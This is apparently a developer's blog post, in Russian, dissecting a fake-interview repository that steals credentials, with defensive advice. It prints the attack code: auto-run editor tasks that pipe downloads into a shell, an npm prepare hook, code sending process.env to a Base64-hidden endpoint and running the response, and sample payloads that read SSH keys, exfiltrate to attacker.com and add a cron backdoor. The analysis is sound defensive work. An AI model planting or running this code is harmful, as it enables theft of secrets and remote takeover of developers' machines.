Анатомия атаки на цепочку поставок, нацеленной на разработчика
Это случилось со мной. Началось всё с сообщения в LinkedIn от человека по имени Kevin (профиль сейчас удалён), который предлагал позицию технического лида в платформе децентрализованного стейкинга — бюджет $6,3 млн, полностью удалённо, гибкий график. Предложение было отполированным, а сама возможность звучала правдоподобно. Я назначил интервью — но когда началась встреча, на ней оказался совсем другой человек. Это был первый тревожный сигнал. Разговор быстро перешёл к разбору их кодовой базы. Первым моим порывом было открыть проект в GitHub Codespaces — удалённой среде, отделяющей выполнение от моего ноутбука. Но в репозитории такой опции не оказалось, и я перешёл к клонированию его локально.
После клонирования атакующий попросил открыть репозиторий именно в VS Code. Я пользовался продуктами JetBrains и отказался. Это исключило описанный ниже путь через .vscode/tasks.json. Такие задачи могут запускаться при открытии папки, но действуют настройки доверия и разрешения автозадач; само открытие недоверенной папки обычно не даёт такого разрешения.
Когда это не сработало, атакующий сменил тактику. Он попросил проверить версию Node — с виду безобидная просьба, которая заодно позволяла убедиться, что Node.js установлен и готов к работе. Затем он предложил запустить npm install за меня, попросив показать экран. Поскольку я знаю, что npm install может выполнять хуки жизненного цикла вроде postinstall, а что именно выполнят их зависимости, я не имел представления, я отказался. Я попросил время на изучение проекта до следующего звонка — но он настаивал сделать всё здесь и сейчас. Я отказался снова. Он просто отключился и больше не выходил на связь.
Просьбы сместились от выбора редактора к установке зависимостей с демонстрацией экрана. Оглядываясь назад, каждая приближала запуск кода проекта на моей машине.
Я попросил Claude помочь с анализом проекта. Код ниже пытается отправить окружение процесса Node на удалённый адрес и выполнить полученный код. Пути запуска обеспечивают задачи редактора и скрипты npm.
Проект представляется как «DLabs Platform» — Web3-платформа для гейминга, стейкинга и ставок, построенная на React, Node.js, Express и MongoDB. README отполирован, зависимости выглядят разумно, структура кода кажется профессиональной. Под этой поверхностью два пути запуска ведут к вредоносному коду.
Слой социальной инженерии
Атака начинается ещё до того, как выполнится хоть строчка кода. Атакующий отправляет репозиторий жертве — обычно под видом задания на интервью, фриланс-проекта на ревью или предложения о сотрудничестве. README подкрепляет легитимность:
## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm startСтандартные инструкции. Ничего настораживающего. У проекта профессиональная структура с каталогами src/, server/, public/, настоящие зависимости вроде react, express, mongoose, ethers и даже .gitignore. Выглядит как десятки других стартовых Web3-проектов на GitHub.
Вектор атаки 1: автозапуск задач VSCode
Посмотрим на .vscode/tasks.json.
Задача запрашивает автозапуск при открытии папки. Выполнение зависит от доверия к рабочей области, разрешения автозадач и настроек редактора.
Задача 1: тихий npm install
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"panel": "new",
"showReuseMessage": false,
"clear": true
}
}Если автозапуск разрешён, задача выполняет npm install --silent --no-progress. Настройки отображения делают команду менее заметной:
"reveal": "silent"— показывает терминал только при условиях режима silent, а не всегда."echo": false— скрывает вывод самой команды."focus": false— не переводит фокус в терминал."showReuseMessage": false— скрывает сообщение о повторном использовании терминала."clear": true— очищает терминал перед запуском задачи.
Флаги сокращают вывод консоли. Если задача разрешена и хуки включены, npm install вызывает prepare, запускающий сервер и описанный ниже вредоносный код.
Документация VS Code описывает разрешение автозадач. Оставляйте незнакомые репозитории в Restricted Mode, проверяйте задачи до выдачи доверия и используйте "task.allowAutomaticTasks": "off" для отключения этого запуска. Workspace Trust не делает безопасным код, который вы решаете выполнить.
Задача 2: прямая загрузка shell-пейлоада
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl -L '...' | bash"
},
"linux": {
"command": "wget -qO- '...' | sh"
},
"windows": {
"command": "curl --ssl-no-revoke -L ... | cmd"
},
"runOptions": {
"runOn": "folderOpen"
}
}Эта задача скачивает и выполняет shell-скрипт прямо со второго Vercel-деплоя атакующего (vscodesettings-tasks-j227.vercel.app). Она учитывает платформу:
- macOS:
curl -L | bash - Linux:
wget -qO- | sh - Windows:
curl --ssl-no-revoke -L | cmd(флаг--ssl-no-revokeобходит проверку отзыва сертификатов)
Трюк с горизонтальной прокруткой
В исходном файле tasks.json вредоносные команды отбиты примерно 200 пробелами перед ключом "command":
"linux": {
"command": "wget -qO- '...' | sh"
}В текстовом редакторе или инструменте код-ревью ключ "command" уезжает далеко за правый край видимой области. Разработчик, прокручивающий файл, увидит:
"linux": {
}Команда выглядит как пустой объект. Чтобы увидеть настоящий пейлоад, придётся прокрутить по горизонтали — или включить перенос строк. Это известный приём обфускации, нацеленный именно на код-ревью в редакторах без переноса строк.
Вектор атаки 2: хук жизненного цикла npm
Посмотрим на package.json:
"scripts": {
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
"prepare": "node server/server.js"
}Хук prepare запускает node server/server.js в процессе установки. Разработчик, ожидающий только скачивания пакетов, может упустить этот запуск.
Скрипты start, build, test и eject также содержат node server/server.js |. Конвейер оболочки запускает обе команды параллельно и соединяет стандартный вывод первой со входом второй. Он не ждёт завершения сервера перед запуском другой команды.
Почему именно prepare?
В этом локальном проекте prepare выполняется во время npm install, если скрипты жизненного цикла не отключены. К этому этапу зависимости уже доступны. Такой хук используют и обычные проекты; само наличие не доказывает вредоносность. npm audit не является универсальным анализатором скриптов.
Шаг 1: утечка переменных окружения
Допустим, сервер поднялся — вот что происходит дальше. Посмотрим на server/controllers/auth.js:
const setApiKey = (s) => atob(s);
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" }
});Две безобидные с виду вспомогательные функции. setApiKey декодирует строку Base64. verify делает POST-запрос. Но посмотрите на второй аргумент axios.post:
{ ...process.env }Разворачивание process.env отправляет окружение, доступное этому процессу Node, включая унаследованные переменные и загруженные из .env значения. Это не перечень всех переменных или учётных данных машины. В окружении процесса могут быть:
- учётные данные AWS (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY) - API-ключи (OpenAI, Stripe, облачные провайдеры)
- строки подключения к базам данных
- секреты сессий и ключи JWT
- пути к сокетам SSH-агента
- PATH, HOME и другие системные переменные
Имена функций подобраны нарочито буднично. verify звучит так, будто проверяет API-ключ. setApiKey звучит как сеттер. При код-ревью они идеально сливаются с окружающей логикой аутентификации.
Заголовок "x-app-request": "ip-check" — ещё одно отвлечение: он намекает, что запрос является рутинной проверкой IP, а не операцией по выкачиванию данных.
Шаг 2: эндпоинт, обфусцированный Base64
Куда уходят украденные учётные данные? Посмотрим на .env:
AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=Декодирование Base64 даёт:
https://ip-checking-notification-j1.vercel.app/apiДекодированный адрес использует поддомен Vercel. Знакомая платформа может придать адресу обычный вид, но не доказывает его надёжность и не освобождает от проверок.
Кодирование в Base64 — не сильная обфускация: любой разработчик, применивший atob(), её раскодирует. Но своё дело она делает: быстрый grep по URL в файле .env не покажет подозрительный домен. Это выглядит как API-ключ, а не как URL.
Сам файл .env — это декорация
Обратите внимание, что .env не входит в .gitignore. В .gitignore аккуратно исключены:
.env.development.local
.env.test.local
.env.production.localНо не сам .env. Это сделано намеренно. Файл .env закоммичен в репозиторий с правдоподобно выглядящими демо-ключами:
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890Показанные значения — заглушки. Похожие на настоящие ключи создают впечатление готового проекта, но по виду нельзя установить, действуют ли учётные данные в недоверенном репозитории.
Шаг 3: удалённое выполнение кода через динамическое создание функции
Теперь посмотрим, как всё связывается воедино. Откроем server/routes/api/auth.js:
const verified = validateApiKey();
if (!verified) {
console.log("Aborting mempool scan due to failed API verification.");
return;
}
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully.");
return true;
})
.catch((err) => {
console.log("API Key verification failed:", err);
return false;
});
}Это самая опасная часть. Проследим выполнение:
setApiKey(process.env.AUTH_API)— декодирует URL эндпоинта из Base64verify(decodedUrl)— отправляет POST со всеми переменными окружения на сервер атакующего- Сервер атакующего отвечает JavaScript-кодом в
response.data new Function("require", response.data)— создаёт новую функцию, используя тело ответа как исходный кодexecutor(require)— выполняет эту функцию, передавая ейrequireиз Node.js в качестве аргумента
Передача require открывает полученному коду модули Node, например fs и child_process. Доступ ограничен правами пользователя процесса и ограничениями ОС или контейнера, а не является безусловно неограниченным.
Что сервер атакующего может прислать в ответ
Следующие фрагменты показывают возможные действия, а не наблюдавшиеся ответы сервера. Успех зависел бы от прав процесса и доступных файлов.
// Чтение SSH-ключей
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
// Выполнение shell-команд
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));
// Установка постоянного бэкдора
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');new Function() выполняет динамический код в глобальной области, в отличие от прямого eval() в локальной. Здесь явная передача require предоставляет удалённому коду загрузчик модулей.
Сообщение об ошибке — тоже социальная инженерия
console.log("Aborting mempool scan due to failed API verification.");Сообщение похоже на обычный сбой Web3, но в вызове есть другая ошибка: validateApiKey() — async, поэтому verified является Promise и if (!verified) ложно. Отклонённый запрос попадает в .catch(console.error), а не вызывает это сообщение остановки.
Полная схема атаки
Собираем всё вместе — вот полная схема атаки:
Разработчик получает ссылку на проект
│
├─ Открывает папку в VSCode
│ │
│ ├─ Задача 1: тихий npm install
│ │ └─ хук prepare → поднимается сервер
│ │ └─ POST process.env на сервер атакующего
│ │ └─ получение JS-пейлоада
│ │ └─ new Function()(require) → RCE
│ │
│ └─ Задача 2: curl/wget | bash → прямая загрузка shell-скрипта
│
└─ Запускает npm install
└─ хук prepare → поднимается сервер (та же цепочка, что выше)Есть два пути выполнения: разрешённые задачи редактора и скрипты npm. Путь npm отправляет окружение, затем выполняет ответ того же адреса; эти операции связаны. Отдельная задача загрузки shell-скрипта использует другой адрес.
Если адрес сбора недоступен, этот запрос не доставит окружение и не получит ответный код. Другой доступный адрес всё ещё может обслужить отдельную shell-задачу.
Индикаторы компрометации
Если задача, хук или скрипт выполнялись, исследуйте среду запуска. Открытие папки без выполнения задач не равно запуску пейлоада. Проверьте:
- Исходящие соединения к домену
*.vercel.appв сетевых логах - Неизвестные cron-задачи:
crontab -lна Linux/macOS - Необычные процессы: поищите постоянно работающие фоновые процессы
- Изменённые конфиги шелла: правки в
.bashrc,.zshrc,.profile - Новые SSH-ключи или записи в authorized_keys
- Установленные или изменённые расширения браузера
Смените все учётные данные, которые были в переменных окружения на момент выполнения.
Хорошая интуиция: GitHub Codespaces
Codespaces отделил бы выполнение от файловой системы ноутбука, но не сделал бы проект автоматически безопасным. В codespace могут быть токены GitHub, переданные учётные данные, секреты репозитория и доступ к сети. Изоляция должна учитывать эти ресурсы, а не только расположение VM.
Опция Codespaces была мне недоступна. Само по себе это не объясняет причину: влияют права аккаунта, политика и настройки репозитория. Я всё равно мог выбрать другую изолированную среду для проверки вместо локального запуска.
А если бы это запустилось на Deno?
Модель разрешений Deno ограничивает окружение, сеть, файлы и подпроцессы, если код действительно запускается в Deno с ограниченными правами. В зависимости от режима запрещённая операция может запросить разрешение или завершиться ошибкой.
Это условная защита, а не результат простой установки Deno. Скрипты npm явно запускают node, а широкие разрешения вроде --allow-all снимают защиту Deno. Разрешение неограниченных подпроцессов тоже ослабляет эту границу.
Shell-задача VS Code — вектор атаки 1. Она загружает и выполняет код вне Deno, поэтому его разрешения на неё не распространяются. То же относится к хукам npm, запускающим другую среду.
Выводы и защита
- Проверяйте незнакомые проекты в одноразовой среде без личных учётных данных, монтирований хоста и проброшенных агентов.
- До выполнения изучите
package.json, изменения зависимостей и задачи редактора. - Оставляйте недоверенные рабочие области ограниченными и отключайте автозадачи через
"task.allowAutomaticTasks": "off". npm install --ignore-scriptsпропускает хуки, но не делает установленный код безопасным для последующего запуска.- Включайте перенос строк, чтобы видеть команды за длинными пробелами.
- Проверяйте динамическое выполнение (
new Function(),eval()) и подпроцессы с учётом контекста. - Декодируйте подозрительные значения локально как данные; не открывайте адреса и не выполняйте содержимое.